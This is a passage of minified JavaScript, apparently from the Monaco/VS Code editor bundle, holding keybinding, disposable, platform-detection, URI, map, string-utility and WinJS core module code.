1===e.type&&(this.ctrlKey===e.ctrlKey&&this.shiftKey===e.shiftKey&&this.altKey===e.altKey&&this.metaKey===e.metaKey&&this.keyCode===e.keyCode)},e.prototype.isModifierKey=function(){return 0===this.keyCode||5===this.keyCode||57===this.keyCode||6===this.keyCode||4===this.keyCode},e.prototype.isDuplicateModifierCase=function(){return this.ctrlKey&&5===this.keyCode||this.shiftKey&&4===this.keyCode||this.altKey&&6===this.keyCode||this.metaKey&&57===this.keyCode},e}();t.SimpleKeybinding=a;var l=function(){return function(e,t){this.type=2,this.firstPart=e,this.chordPart=t}}();t.ChordKeybinding=l;var c=function(){return function(e,t,n,r,i,o){this.ctrlKey=e,this.shiftKey=t,this.altKey=n,this.metaKey=r,this.keyLabel=i,this.keyAriaLabel=o}}();t.ResolvedKeybindingPart=c;var f=function(){return function(){}}();t.ResolvedKeybinding=f}),r(e[10],t([1,0,11]),function(e,t,n){\"use strict\";function r(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];return Array.isArray(e)?(e.forEach(function(e){return e&&e.dispose()}),[]):0!==t.length?(r(e),r(t),[]):e?(e.dispose(),e):void 0}Object.defineProperty(t,\"__esModule\",{value:!0}),t.empty=Object.freeze({dispose:function(){}}),t.dispose=r,t.combinedDisposable=function(e){return{dispose:function(){return r(e)}}},t.toDisposable=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return{dispose:function(){for(var t=0,n=e;t<n.length;t++)(0,n[t])()}}};var i=function(){function e(){this._toDispose=[]}return e.prototype.dispose=function(){this._toDispose=r(this._toDispose)},e.prototype._register=function(e){return this._toDispose.push(e),e},e}();t.Disposable=i;var o=function(){function e(){}return Object.defineProperty(e.prototype,\"value\",{set:function(e){this._value&&this._value.dispose(),this._value=e},enumerable:!0,configurable:!0}),e.prototype.dispose=function(){this.value=null},e}();t.OneDisposable=o;var s=function(){function e(){this.references=Object.create(null)}return e.prototype.acquire=function(e){var t=this,r=this.references[e];r||(r=this.references[e]={counter:0,object:this.createReferencedObject(e)});var i=r.object,o=n.once(function(){0==--r.counter&&(t.destroyReferencedObject(r.object),delete t.references[e])});return r.counter++,{object:i,dispose:o}},e}();t.ReferenceCollection=s;var u=function(){function e(e){this.object=e}return e.prototype.dispose=function(){},e}();t.ImmortalReference=u}),r(e[4],t([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=!1,r=!1,i=!1,o=!1,s=!1,u=!1,a=void 0,l=void 0;if(t.LANGUAGE_DEFAULT=\"en\",\"object\"==typeof process){n=\"win32\"===process.platform,r=\"darwin\"===process.platform,i=\"linux\"===process.platform,o=!n&&0===process.getuid();var c=process.env.VSCODE_NLS_CONFIG;if(c)try{var f=JSON.parse(c),h=f.availableLanguages[\"*\"];a=f.locale,l=h||t.LANGUAGE_DEFAULT}catch(e){}s=!0}else if(\"object\"==typeof navigator){var d=navigator.userAgent;n=d.indexOf(\"Windows\")>=0,r=d.indexOf(\"Macintosh\")>=0,i=d.indexOf(\"Linux\")>=0,u=!0,l=a=navigator.language}var p;!function(e){e[e.Web=0]=\"Web\",e[e.Mac=1]=\"Mac\",e[e.Linux=2]=\"Linux\",e[e.Windows=3]=\"Windows\"}(p=t.Platform||(t.Platform={}));var m=p.Web;s&&(r?m=p.Mac:n?m=p.Windows:i&&(m=p.Linux)),t.isWindows=n,t.isMacintosh=r,t.isLinux=i,t.isRootUser=o,t.isNative=s,t.isWeb=u,t.platform=m,t.language=l,t.locale=a;var _=\"object\"==typeof self?self:global;t.globals=_,t.hasWebWorkerSupport=function(){return void 0!==_.Worker},t.setTimeout=_.setTimeout.bind(_),t.clearTimeout=_.clearTimeout.bind(_),t.setInterval=_.setInterval.bind(_),t.clearInterval=_.clearInterval.bind(_);!function(e){e[e.Windows=1]=\"Windows\",e[e.Macintosh=2]=\"Macintosh\",e[e.Linux=3]=\"Linux\"}(t.OperatingSystem||(t.OperatingSystem={})),t.OS=r?2:n?1:3;!function(e){e[e.Unknown=0]=\"Unknown\",e[e.Disabled=1]=\"Disabled\",e[e.Enabled=2]=\"Enabled\"}(t.AccessibilitySupport||(t.AccessibilitySupport={}))}),r(e[14],t([1,0]),function(e,t){\"use strict\";function n(e){return Array.isArray?Array.isArray(e):!(!e||typeof e.length!==a.number||e.constructor!==Array)}function r(e){return typeof e===a.string||e instanceof String}function i(e){return!(typeof e!==a.object||null===e||Array.isArray(e)||e instanceof RegExp||e instanceof Date)}function o(e){return typeof e===a.undefined}function s(e){return typeof e===a.function}function u(e,t){if(r(t)){if(typeof e!==t)throw new Error(\"argument does not match constraint: typeof \"+t)}else if(s(t)){if(e instanceof t)return;if(e&&e.constructor===t)return;if(1===t.length&&!0===t.call(void 0,e))return;throw new Error(\"argument does not match one of these constraints: arg instanceof constraint, arg.constructor === constraint, nor constraint(arg) === true\")}}Object.defineProperty(t,\"__esModule\",{value:!0});var a={number:\"number\",string:\"string\",undefined:\"undefined\",object:\"object\",function:\"function\"};t.isArray=n,t.isString=r,t.isStringArray=function(e){return n(e)&&e.every(function(e){return r(e)})},t.isObject=i,t.isNumber=function(e){return(typeof e===a.number||e instanceof Number)&&!isNaN(e)},t.isBoolean=function(e){return!0===e||!1===e},t.isUndefined=o,t.isUndefinedOrNull=function(e){return o(e)||null===e};var l=Object.prototype.hasOwnProperty;t.isEmptyObject=function(e){if(!i(e))return!1;for(var t in e)if(l.call(e,t))return!1;return!0},t.isFunction=s,t.areFunctions=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return e&&e.length>0&&e.every(s)},t.validateConstraints=function(e,t){for(var n=Math.min(e.length,t.length),r=0;r<n;r++)u(e[r],t[r])},t.validateConstraint=u,t.create=function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];var r=Object.create(e.prototype);return e.apply(r,t),r}}),r(e[6],t([1,0,4]),function(e,t,n){\"use strict\";function r(e){return\"%\"+e.charCodeAt(0).toString(16).toUpperCase()}function i(e){return encodeURIComponent(e).replace(/[!'()*]/g,r)}function o(e){return e.replace(/[#?]/,r)}Object.defineProperty(t,\"__esModule\",{value:!0});var s=function(){function e(t,n,r,i,o){this._formatted=null,this._fsPath=null,this.scheme=t||e._empty,this.authority=n||e._empty,this.path=r||e._empty,this.query=i||e._empty,this.fragment=o||e._empty,this._validate(this)}return e.isUri=function(t){return t instanceof e||!!t&&(\"string\"==typeof t.authority&&\"string\"==typeof t.fragment&&\"string\"==typeof t.path&&\"string\"==typeof t.query&&\"string\"==typeof t.scheme)},Object.defineProperty(e.prototype,\"fsPath\",{get:function(){if(!this._fsPath){var t=void 0;t=this.authority&&this.path&&\"file\"===this.scheme?\"//\"+this.authority+this.path:e._driveLetterPath.test(this.path)?this.path[1].toLowerCase()+this.path.substr(2):this.path,n.isWindows&&(t=t.replace(/\\//g,\"\\\\\")),this._fsPath=t}return this._fsPath},enumerable:!0,configurable:!0}),e.prototype.with=function(t){if(!t)return this;var n=t.scheme,r=t.authority,i=t.path,o=t.query,s=t.fragment;return void 0===n?n=this.scheme:null===n&&(n=\"\"),void 0===r?r=this.authority:null===r&&(r=\"\"),void 0===i?i=this.path:null===i&&(i=\"\"),void 0===o?o=this.query:null===o&&(o=\"\"),void 0===s?s=this.fragment:null===s&&(s=\"\"),n===this.scheme&&r===this.authority&&i===this.path&&o===this.query&&s===this.fragment?this:new e(n,r,i,o,s)},e.parse=function(t){var n=e._regexp.exec(t);return n?new e(n[2]||e._empty,decodeURIComponent(n[4]||e._empty),decodeURIComponent(n[5]||e._empty),decodeURIComponent(n[7]||e._empty),decodeURIComponent(n[9]||e._empty)):new e(e._empty,e._empty,e._empty,e._empty,e._empty)},e.file=function(t){var r=e._empty;if(n.isWindows&&(t=t.replace(/\\\\/g,e._slash)),t[0]===e._slash&&t[0]===t[1]){var i=t.indexOf(e._slash,2);-1===i?(r=t.substring(2),t=e._empty):(r=t.substring(2,i),t=t.substring(i))}return t[0]!==e._slash&&(t=e._slash+t),new e(\"file\",r,t,e._empty,e._empty)},e.from=function(t){return new e(t.scheme,t.authority,t.path,t.query,t.fragment)},e.prototype._validate=function(t){if(t.scheme&&!e._schemePattern.test(t.scheme))throw new Error(\"[UriError]: Scheme contains illegal characters.\");if(t.path)if(t.authority){if(!e._singleSlashStart.test(t.path))throw new Error('[UriError]: If a URI contains an authority component, then the path component must either be empty or begin with a slash (\"/\") character')}else if(e._doubleSlashStart.test(t.path))throw new Error('[UriError]: If a URI does not contain an authority component, then the path cannot begin with two slash characters (\"//\")')},e.prototype.toString=function(t){return void 0===t&&(t=!1),t?e._asFormatted(this,!0):(this._formatted||(this._formatted=e._asFormatted(this,!1)),this._formatted)},e._asFormatted=function(t,n){var r=n?o:i,s=[],u=t.scheme,a=t.authority,l=t.path,c=t.query,f=t.fragment;if(u&&s.push(u,\":\"),(a||\"file\"===u)&&s.push(\"//\"),a&&(-1===(p=(a=a.toLowerCase()).indexOf(\":\"))?s.push(r(a)):s.push(r(a.substr(0,p)),a.substr(p))),l){var h=e._upperCaseDrive.exec(l);h&&(l=h[1]?\"/\"+h[2].toLowerCase()+l.substr(3):h[2].toLowerCase()+l.substr(2));for(var d=0;;){var p=l.indexOf(e._slash,d);if(-1===p){s.push(r(l.substring(d)));break}s.push(r(l.substring(d,p)),e._slash),d=p+1}}return c&&s.push(\"?\",r(c)),f&&s.push(\"#\",r(f)),s.join(e._empty)},e.prototype.toJSON=function(){var e={fsPath:this.fsPath,external:this.toString(),$mid:1};return this.path&&(e.path=this.path),this.scheme&&(e.scheme=this.scheme),this.authority&&(e.authority=this.authority),this.query&&(e.query=this.query),this.fragment&&(e.fragment=this.fragment),e},e.revive=function(t){var n=new e(t.scheme,t.authority,t.path,t.query,t.fragment);return n._fsPath=t.fsPath,n._formatted=t.external,n},e._empty=\"\",e._slash=\"/\",e._regexp=/^(([^:/?#]+?):)?(\\/\\/([^/?#]*))?([^?#]*)(\\?([^#]*))?(#(.*))?/,e._driveLetterPath=/^\\/[a-zA-z]:/,e._upperCaseDrive=/^(\\/)?([A-Z]:)/,e._schemePattern=/^\\w[\\w\\d+.-]*$/,e._singleSlashStart=/^\\//,e._doubleSlashStart=/^\\/\\//,e}();t.default=s});var o=this&&this.__extends||function(){var e=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])};return function(t,n){function r(){this.constructor=t}e(t,n),t.prototype=null===n?Object.create(n):(r.prototype=n.prototype,new r)}}();r(e[17],t([1,0,6]),function(e,t,n){\"use strict\";function r(e){var t=[];return e.forEach(function(e){return t.push(e)}),t}function i(e){var t=[];return e.forEach(function(e,n){return t.push(n)}),t}Object.defineProperty(t,\"__esModule\",{value:!0}),t.values=r,t.keys=i,t.getOrSet=function(e,t,n){var r=e.get(t);return void 0===r&&(r=n,e.set(t,r)),r};var s=function(){function e(e,t,n){void 0===e&&(e=Number.MAX_VALUE),void 0===t&&(t=1);var r=this;this.limit=e,this.map=new Map,this.ratio=e*t,n&&n.entries.forEach(function(e){r.set(e.key,e.value)})}return e.prototype.setLimit=function(e){if(!(e<0))for(this.limit=e;this.map.size>this.limit;)this.trim()},e.prototype.serialize=function(){var e={entries:[]};return this.map.forEach(function(t){e.entries.push({key:t.key,value:t.value})}),e},Object.defineProperty(e.prototype,\"size\",{get:function(){return this.map.size},enumerable:!0,configurable:!0}),e.prototype.set=function(e,t){if(this.map.has(e))return!1;var n={key:e,value:t};return this.push(n),this.size>this.limit&&this.trim(),!0},e.prototype.get=function(e){var t=this.map.get(e);return t?t.value:null},e.prototype.getOrSet=function(e,t){var n=this.get(e);return n||(this.set(e,t),t)},e.prototype.delete=function(e){var t=this.map.get(e);return t?(this.map.delete(e),t.next?t.next.prev=t.prev:this.head=t.prev,t.prev?t.prev.next=t.next:this.tail=t.next,t.value):null},e.prototype.has=function(e){return this.map.has(e)},e.prototype.clear=function(){this.map.clear(),this.head=null,this.tail=null},e.prototype.push=function(e){this.head&&(e.prev=this.head,this.head.next=e),this.tail||(this.tail=e),this.head=e,this.map.set(e.key,e)},e.prototype.trim=function(){if(this.tail)if(this.ratio<this.limit)for(var e=0,t=this.tail;t.next;){if(this.map.delete(t.key),e===this.ratio){this.tail=t.next,this.tail.prev=null;break}t=t.next,e++}else this.map.delete(this.tail.key),this.tail=this.tail.next,this.tail&&(this.tail.prev=null)},e}();t.BoundedMap=s;var u=function(){return function(){this.children=new Map}}(),a=function(){function e(e){this._root=new u,this._splitter=function(t){return e(t).filter(function(e){return Boolean(e)})}}return e.prototype.insert=function(e,t){for(var n=this._splitter(e),r=0,i=this._root;r<n.length;r++){var o=i.children.get(n[r]);if(!o)break;i=o}for(var s;r<n.length;r++)s=new u,i.children.set(n[r],s),i=s;i.element=t},e.prototype.lookUp=function(e){for(var t,n=this._splitter(e),r=this._root.children,i=0,o=n;i<o.length;i++){var s=o[i];if(!(t=r.get(s)))return;r=t.children}return t.element},e.prototype.findSubstr=function(e){for(var t,n=this._splitter(e),r=this._root.children,i=0,o=n;i<o.length;i++){var s=o[i],u=r.get(s);if(!u)break;u.element&&(t=u),r=u.children}if(t)return t.element},e.prototype.findSuperstr=function(t){for(var n,r=this._splitter(t),i=this._root.children,o=0,s=r;o<s.length;o++){var u=s[o];if(!(n=i.get(u)))return;i=n.children}var a=new e(this._splitter);return a._root=n,a},e.PathSplitter=function(e){return e.split(/[\\\\/]/).filter(function(e){return!!e})},e}();t.TrieMap=a;var l=function(){function e(e){this.ignoreCase=e,this.map=new Map}return e.prototype.set=function(e,t){this.map.set(this.toKey(e),t)},e.prototype.get=function(e){return this.map.get(this.toKey(e))},e.prototype.has=function(e){return this.map.has(this.toKey(e))},Object.defineProperty(e.prototype,\"size\",{get:function(){return this.map.size},enumerable:!0,configurable:!0}),e.prototype.clear=function(){this.map.clear()},e.prototype.delete=function(e){return this.map.delete(this.toKey(e))},e.prototype.forEach=function(e){this.map.forEach(e)},e.prototype.values=function(){return r(this.map)},e.prototype.toKey=function(e){var t=e.toString();return this.ignoreCase&&(t=t.toLowerCase()),t},e}();t.ResourceMap=l;var c=function(e){function t(){return e.call(this)||this}return o(t,e),t.prototype.keys=function(){return i(this.map).map(function(e){return n.default.parse(e)})},t}(l);t.StrictResourceMap=c;var f;!function(e){e.None=0,e.First=1,e.Last=2}(f=t.Touch||(t.Touch={}));var h=function(){function e(){this._map=new Map,this._head=void 0,this._tail=void 0,this._size=0}return e.prototype.clear=function(){this._map.clear(),this._head=void 0,this._tail=void 0,this._size=0},e.prototype.isEmpty=function(){return!this._head&&!this._tail},Object.defineProperty(e.prototype,\"size\",{get:function(){return this._size},enumerable:!0,configurable:!0}),e.prototype.has=function(e){return this._map.has(e)},e.prototype.get=function(e){var t=this._map.get(e);if(t)return t.value},e.prototype.set=function(e,t,n){void 0===n&&(n=f.None);var r=this._map.get(e);if(r)r.value=t,n!==f.None&&this.touch(r,n);else{switch(r={key:e,value:t,next:void 0,previous:void 0},n){case f.None:this.addItemLast(r);break;case f.First:this.addItemFirst(r);break;case f.Last:default:this.addItemLast(r)}this._map.set(e,r),this._size++}},e.prototype.delete=function(e){return!!this.remove(e)},e.prototype.remove=function(e){var t=this._map.get(e);if(t)return this._map.delete(e),this.removeItem(t),this._size--,t.value},e.prototype.shift=function(){if(this._head||this._tail){if(!this._head||!this._tail)throw new Error(\"Invalid list\");var e=this._head;return this._map.delete(e.key),this.removeItem(e),this._size--,e.value}},e.prototype.forEach=function(e,t){for(var n=this._head;n;)t?e.bind(t)(n.value,n.key,this):e(n.value,n.key,this),n=n.next},e.prototype.forEachReverse=function(e,t){for(var n=this._tail;n;)t?e.bind(t)(n.value,n.key,this):e(n.value,n.key,this),n=n.previous},e.prototype.values=function(){for(var e=[],t=this._head;t;)e.push(t.value),t=t.next;return e},e.prototype.keys=function(){for(var e=[],t=this._head;t;)e.push(t.key),t=t.next;return e},e.prototype.addItemFirst=function(e){if(this._head||this._tail){if(!this._head)throw new Error(\"Invalid list\");e.next=this._head,this._head.previous=e}else this._tail=e;this._head=e},e.prototype.addItemLast=function(e){if(this._head||this._tail){if(!this._tail)throw new Error(\"Invalid list\");e.previous=this._tail,this._tail.next=e}else this._head=e;this._tail=e},e.prototype.removeItem=function(e){if(e===this._head&&e===this._tail)this._head=void 0,this._tail=void 0;else if(e===this._head)this._head=e.next;else if(e===this._tail)this._tail=e.previous;else{var t=e.next,n=e.previous;if(!t||!n)throw new Error(\"Invalid list\");t.previous=n,n.next=t}},e.prototype.touch=function(e,t){if(!this._head||!this._tail)throw new Error(\"Invalid list\");if(t===f.First||t===f.Last)if(t===f.First){if(e===this._head)return;var n=e.next,r=e.previous;e===this._tail?(r.next=void 0,this._tail=r):(n.previous=r,r.next=n),e.previous=void 0,e.next=this._head,this._head.previous=e,this._head=e}else if(t===f.Last){if(e===this._tail)return;var n=e.next,r=e.previous;e===this._head?(n.previous=void 0,this._head=n):(n.previous=r,r.next=n),e.next=void 0,e.previous=this._tail,this._tail.next=e,this._tail=e}},e}();t.LinkedMap=h}),r(e[20],t([1,0,17]),function(e,t,n){\"use strict\";function r(e){return e.replace(/[\\-\\\\\\{\\}\\*\\+\\?\\|\\^\\$\\.\\[\\]\\(\\)\\#]/g,\"\\\\$&\")}function i(e,t){if(!e||!t)return e;var n=t.length;if(0===n||0===e.length)return e;for(var r=0;e.indexOf(t,r)===r;)r+=n;return e.substring(r)}function o(e,t){if(!e||!t)return e;var n=t.length,r=e.length;if(0===n||0===r)return e;for(var i=r,o=-1;;){if(-1===(o=e.lastIndexOf(t,i-1))||o+n!==i)break;if(0===o)return\"\";i=o}return e.substring(0,i)}function s(e,t){return e<t?-1:e>t?1:0}function u(e){return e>=97&&e<=122}function a(e){return e>=65&&e<=90}function l(e){return u(e)||a(e)}function c(e,t,n){if(void 0===n&&(n=e.length),\"string\"!=typeof e||\"string\"!=typeof t)return!1;for(var r=0;r<n;r++){var i=e.charCodeAt(r),o=t.charCodeAt(r);if(i!==o)if(l(i)&&l(o)){var s=Math.abs(i-o);if(0!==s&&32!==s)return!1}else if(String.fromCharCode(i).toLowerCase()!==String.fromCharCode(o).toLowerCase())return!1}return!0}function f(e,t,n,r,i,o){for(;t<n&&i<o;){if(e[t]!==r[i])return!1;t+=1,i+=1}return!0}function h(e){return(e=+e)>=11904&&e<=55215||e>=63744&&e<=64255||e>=65281&&e<=65374}Object.defineProperty(t,\"__esModule\",{value:!0}),t.empty=\"\",t.isFalsyOrWhitespace=function(e){return!e||\"string\"!=typeof e||0===e.trim().length},t.pad=function(e,t,n){void 0===n&&(n=\"0\");for(var r=\"\"+e,i=[r],o=r.length;o<t;o++)i.push(n);return i.reverse().join(\"\")};var d=/{(\\d+)}/g;t.format=function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];return 0===t.length?e:e.replace(d,function(e,n){var r=parseInt(n,10);return isNaN(r)||r<0||r>=t.length?e:t[r]})},t.escape=function(e){return e.replace(/[<|>|&]/g,function(e){switch(e){case\"<\":return\"&lt;\";case\">\":return\"&gt;\";case\"&\":return\"&amp;\";default:return e}})},t.escapeRegExpCharacters=r,t.trim=function(e,t){return void 0===t&&(t=\" \"),o(i(e,t),t)},t.ltrim=i,t.rtrim=o,t.convertSimple2RegExpPattern=function(e){return e.replace(/[\\-\\\\\\{\\}\\+\\?\\|\\^\\$\\.\\,\\[\\]\\(\\)\\#\\s]/g,\"\\\\$&\").replace(/[\\*]/g,\".*\")},t.stripWildcards=function(e){return e.replace(/\\*/g,\"\")},t.startsWith=function(e,t){if(e.length<t.length)return!1;for(var n=0;n<t.length;n++)if(e[n]!==t[n])return!1;return!0},t.endsWith=function(e,t){var n=e.length-t.length;return n>0?e.indexOf(t,n)===n:0===n&&e===t},t.indexOfIgnoreCase=function(e,t,n){void 0===n&&(n=0);var i=e.indexOf(t,n);return i<0&&(n>0&&(e=e.substr(n)),t=r(t),i=e.search(new RegExp(t,\"i\"))),i},t.createRegExp=function(e,t,n){if(void 0===n&&(n={}),!e)throw new Error(\"Cannot create regex from empty string\");t||(e=r(e)),n.wholeWord&&(/\\B/.test(e.charAt(0))||(e=\"\\\\b\"+e),/\\B/.test(e.charAt(e.length-1))||(e+=\"\\\\b\"));var i=\"\";return n.global&&(i+=\"g\"),n.matchCase||(i+=\"i\"),n.multiline&&(i+=\"m\"),new RegExp(e,i)},t.regExpLeadsToEndlessLoop=function(e){return\"^\"!==e.source&&\"^$\"!==e.source&&\"$\"!==e.source&&e.exec(\"\")&&0===e.lastIndex},t.canNormalize=\"function\"==typeof\"\".normalize;var p=/[^\\u0000-\\u0080]/,m=new n.BoundedMap(1e4);t.normalizeNFC=function(e){if(!t.canNormalize||!e)return e;var n=m.get(e);if(n)return n;var r;return r=p.test(e)?e.normalize(\"NFC\"):e,m.set(e,r),r},t.firstNonWhitespaceIndex=function(e){for(var t=0,n=e.length;t<n;t++){var r=e.charCodeAt(t);if(32!==r&&9!==r)return t}return-1},t.getLeadingWhitespace=function(e,t,n){void 0===t&&(t=0),void 0===n&&(n=e.length);for(var r=t;r<n;r++){var i=e.charCodeAt(r);if(32!==i&&9!==i)return e.substring(t,r)}return e.substring(t,n)},t.lastNonWhitespaceIndex=function(e,t){void 0===t&&(t=e.length-1);for(var n=t;n>=0;n--){var r=e.charCodeAt(n);if(32!==r&&9!==r)return n}return-1},t.compare=s,t.compareIgnoreCase=function(e,t){for(var n=Math.min(e.length,t.length),r=0;r<n;r++){var i=e.charCodeAt(r),o=t.charCodeAt(r);if(i!==o){a(i)&&(i+=32),a(o)&&(o+=32);var l=i-o;if(0!==l)return u(i)&&u(o)?l:s(e.toLowerCase(),t.toLowerCase())}}return e.length<t.length?-1:e.length>t.length?1:0},t.equalsIgnoreCase=function(e,t){return(e?e.length:0)===(t?t.length:0)&&c(e,t)},t.beginsWithIgnoreCase=function(e,t){var n=t.length;return!(t.length>e.length)&&c(e,t,n)},t.commonPrefixLength=function(e,t){var n,r=Math.min(e.length,t.length);for(n=0;n<r;n++)if(e.charCodeAt(n)!==t.charCodeAt(n))return n;return r},t.commonSuffixLength=function(e,t){var n,r=Math.min(e.length,t.length),i=e.length-1,o=t.length-1;for(n=0;n<r;n++)if(e.charCodeAt(i-n)!==t.charCodeAt(o-n))return n;return r},t.overlap=function(e,t){var n=e.length,r=t.length,i=n-r;if(0===i)return e===t?n:0;for(i<0&&(r+=i,i=0);i<n&&r>0;){if(f(e,i,n,t,0,r))return r;r-=1,i+=1}return 0},t.isHighSurrogate=function(e){return 55296<=e&&e<=56319},t.isLowSurrogate=function(e){return 56320<=e&&e<=57343};var _=/(?:[\\u05BE\\u05C0\\u05C3\\u05C6\\u05D0-\\u05F4\\u0608\\u060B\\u060D\\u061B-\\u064A\\u066D-\\u066F\\u0671-\\u06D5\\u06E5\\u06E6\\u06EE\\u06EF\\u06FA-\\u0710\\u0712-\\u072F\\u074D-\\u07A5\\u07B1-\\u07EA\\u07F4\\u07F5\\u07FA-\\u0815\\u081A\\u0824\\u0828\\u0830-\\u0858\\u085E-\\u08BD\\u200F\\uFB1D\\uFB1F-\\uFB28\\uFB2A-\\uFD3D\\uFD50-\\uFDFC\\uFE70-\\uFEFC]|\\uD802[\\uDC00-\\uDD1B\\uDD20-\\uDE00\\uDE10-\\uDE33\\uDE40-\\uDEE4\\uDEEB-\\uDF35\\uDF40-\\uDFFF]|\\uD803[\\uDC00-\\uDCFF]|\\uD83A[\\uDC00-\\uDCCF\\uDD00-\\uDD43\\uDD50-\\uDFFF]|\\uD83B[\\uDC00-\\uDEBB])/;t.containsRTL=function(e){return _.test(e)};var g=/(?:[\\u231A\\u231B\\u23F0\\u23F3\\u2600-\\u27BF\\u2B50\\u2B55]|\\uD83C[\\uDDE6-\\uDDFF\\uDF00-\\uDFFF]|\\uD83D[\\uDC00-\\uDE4F\\uDE80-\\uDEF8]|\\uD83E[\\uDD00-\\uDDE6])/;t.containsEmoji=function(e){return g.test(e)};var v=/^[\\t\\n\\r\\x20-\\x7E]*$/;t.isBasicASCII=function(e){return v.test(e)},t.containsFullWidthCharacter=function(e){for(var t=0,n=e.length;t<n;t++)if(h(e.charCodeAt(t)))return!0;return!1},t.isFullWidthCharacter=h,t.difference=function(e,t,n){void 0===n&&(n=4);var r=Math.abs(e.length-t.length);if(r>n)return 0;var i,o,s=[],u=[];for(i=0;i<t.length+1;++i)u.push(0);for(i=0;i<e.length+1;++i)s.push(u);for(i=1;i<e.length+1;++i)for(o=1;o<t.length+1;++o)e[i-1]===t[o-1]?s[i][o]=s[i-1][o-1]+1:s[i][o]=Math.max(s[i-1][o],s[i][o-1]);return s[e.length][t.length]-Math.sqrt(r)},t.computeLineStarts=function(e){for(var t=/\\r\\n|\\r|\\n/g,n=[0];t.exec(e);)n.push(t.lastIndex);return n},t.lcut=function(e,n){if(e.length<n)return e;for(var r=e.split(/\\b/),i=0,o=r.length-1;o>=0;o--)if((i+=r[o].length)>n){r.splice(0,o);break}return r.join(t.empty).replace(/^\\s/,t.empty)};var y=/\\x1B\\x5B[12]?K/g,b=/\\x1b\\[\\d+m/g,C=/\\x1b\\[0?m/g;t.removeAnsiEscapeCodes=function(e){return e&&(e=(e=(e=e.replace(y,\"\")).replace(b,\"\")).replace(C,\"\")),e},t.UTF8_BOM_CHARACTER=String.fromCharCode(65279),t.startsWithUTF8BOM=function(e){return e&&e.length>0&&65279===e.charCodeAt(0)},t.appendWithLimit=function(e,t,n){var r=e.length+t.length;return r>n&&(e=\"...\"+e.substr(r-n)),t.length>n?e+=t.substr(t.length-n):e+=t,e},t.safeBtoa=function(e){return btoa(encodeURIComponent(e))},t.repeat=function(e,t){for(var n=\"\",r=0;r<t;r++)n+=e;return n}}),function(){var e={};e[\"WinJS/Core/_WinJS\"]={};var t=function(t,n,r){var i={},o=!1,s=n.map(function(t){return\"exports\"===t?(o=!0,i):e[t]}),u=r.apply({},s);e[t]=o?i:u};t(\"WinJS/Core/_Global\",[],function(){\"use strict\";return\"undefined\"!=typeof window?window:\"undefined\"!=typeof self?self:\"undefined\"!=typeof global?global:{}}),t(\"WinJS/Core/_BaseCoreUtils\",[\"WinJS/Core/_Global\"],function(e){\"use strict\";return{hasWinRT:!!e.Windows,markSupportedForProcessing:function(e){return e.supportedForProcessing=!0,e},_setImmediate:e.setImmediate?e.setImmediate.bind(e):function(t){e.setTimeout(t,0)}}}),t(\"WinJS/Core/_WriteProfilerMark\",[\"WinJS/Core/_Global\"],function(e){\"use strict\";return e.msWriteProfilerMark||function(){}}),t(\"WinJS/Core/_Base\",[\"WinJS/Core/_WinJS\",\"WinJS/Core/_Global\",\"WinJS/Core/_BaseCoreUtils\",\"WinJS/Core/_WriteProfilerMark\"],function(e,t,n,r){\"use strict\";function i(e,t,n){var r,i,o,s=Object.keys(t),u=Array.isArray(e);for(i=0,o=s.length;i<o;i++){var a=s[i],l=95!==a.charCodeAt(0),c=t[a];!c||\"object\"!=typeof c||void 0===c.value&&\"function\"!=typeof c.get&&\"function\"!=typeof c.set?l?u?e.forEach(function(e){e[a]=c}):e[a]=c:(r=r||{})[a]={value:c,enumerable:l,configurable:!0,writable:!0}:(void 0===c.enumerable&&(c.enumerable=l),n&&c.setName&&\"function\"==typeof c.setName&&c.setName(n+\".\"+a),(r=r||{})[a]=c)}r&&(u?e.forEach(function(e){Object.defineProperties(e,r)}):Object.defineProperties(e,r))}return function(){function n(n,r){var i=n||{};if(r){var o=r.split(\".\");i===t&&\"WinJS\"===o[0]&&(i=e,o.splice(0,1));for(var s=0,u=o.length;s<u;s++){var a=o[s];i[a]||Object.defineProperty(i,a,{value:{},writable:!1,enumerable:!0,configurable:!0}),i=i[a]}}return i}function o(e,t,r){var o=n(e,t);return r&&i(o,r,t||\"<ANONYMOUS>\"),o}var s=e;s.Namespace||(s.Namespace=Object.create(Object.prototype));var u={uninitialized:1,working:2,initialized:3};Object.defineProperties(s.Namespace,{defineWithParent:{value:o,writable:!0,enumerable:!0,configurable:!0},define:{value:function(e,n){return o(t,e,n)},writable:!0,enumerable:!0,configurable:!0},_lazy:{value:function(e){var t,n,i=u.uninitialized;return{setName:function(e){t=e},get:function(){switch(i){case u.initialized:return n;case u.uninitialized:i=u.working;try{r(\"WinJS.Namespace._lazy:\"+t+\",StartTM\"),n=e()}finally{r(\"WinJS.Namespace._lazy:\"+t+\",StopTM\"),i=u.uninitialized}return e=null,i=u.initialized,n;case u.working:throw\"Illegal: reentrancy on initialization\";default:throw\"Illegal\"}},set:function(e){switch(i){case u.working:throw\"Illegal: reentrancy on initialization\";default:i=u.initialized,n=e}},enumerable:!0,configurable:!0}},writable:!0,enumerable:!0,configurable:!0},_moduleDefine:{value:function(e,r,o){var s=[e],u=null;return r&&(u=n(t,r),s.push(u)),i(s,o,r||\"<ANONYMOUS>\"),u},writable:!0,enumerable:!0,configurable:!0}})}(),function(){function t(e,t,r){return e=e||function(){},n.markSupportedForProcessing(e),t&&i(e.prototype,t),r&&i(e,r),e}e.Namespace.define(\"WinJS.Class\",{define:t,derive:function(e,r,o,s){if(e){r=r||function(){};var u=e.prototype;return r.prototype=Object.create(u),n.markSupportedForProcessing(r),Object.defineProperty(r.prototype,\"constructor\",{value:r,writable:!0,configurable:!0,enumerable:!0}),o&&i(r.prototype,o),s&&i(r,s),r}return t(r,o,s)},mix:function(e){e=e||function(){};var t,n;for(t=1,n=arguments.length;t<n;t++)i(e.prototype,arguments[t]);return e}})}(),{Namespace:e.Namespace,Class:e.Class}}),t(\"WinJS/Core/_ErrorFromName\",[\"WinJS/Core/_Base\"],function(e){\"use strict\";var 